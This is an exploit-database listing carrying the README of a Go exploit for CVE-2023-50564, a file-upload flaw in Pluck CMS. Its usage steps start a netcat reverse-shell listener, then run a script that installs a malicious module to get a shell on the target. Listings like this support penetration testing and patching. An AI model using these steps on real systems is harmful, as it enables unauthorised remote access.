Sploitus

Exploit for Unrestricted Upload of File with Dangerous Type in Pluck-Cms Pluck

githubexploit Β· 2024-08-02

Exploit Code

README15 lines
## https://sploitus.com/exploit?id=7F683533-E62A-5D65-9914-C1858AC234B3
# CVE-2023-50564

## How to use

First setup a listener for the reverse shell.  
*Terminal 1*
```bash
nc -nlvp 
```
Execute the script which will attempt to install a pluck module sending the reverse shell back to us.  
*Terminal 2*
```bash
go run exploit.go -url  -password  -i  -p 
```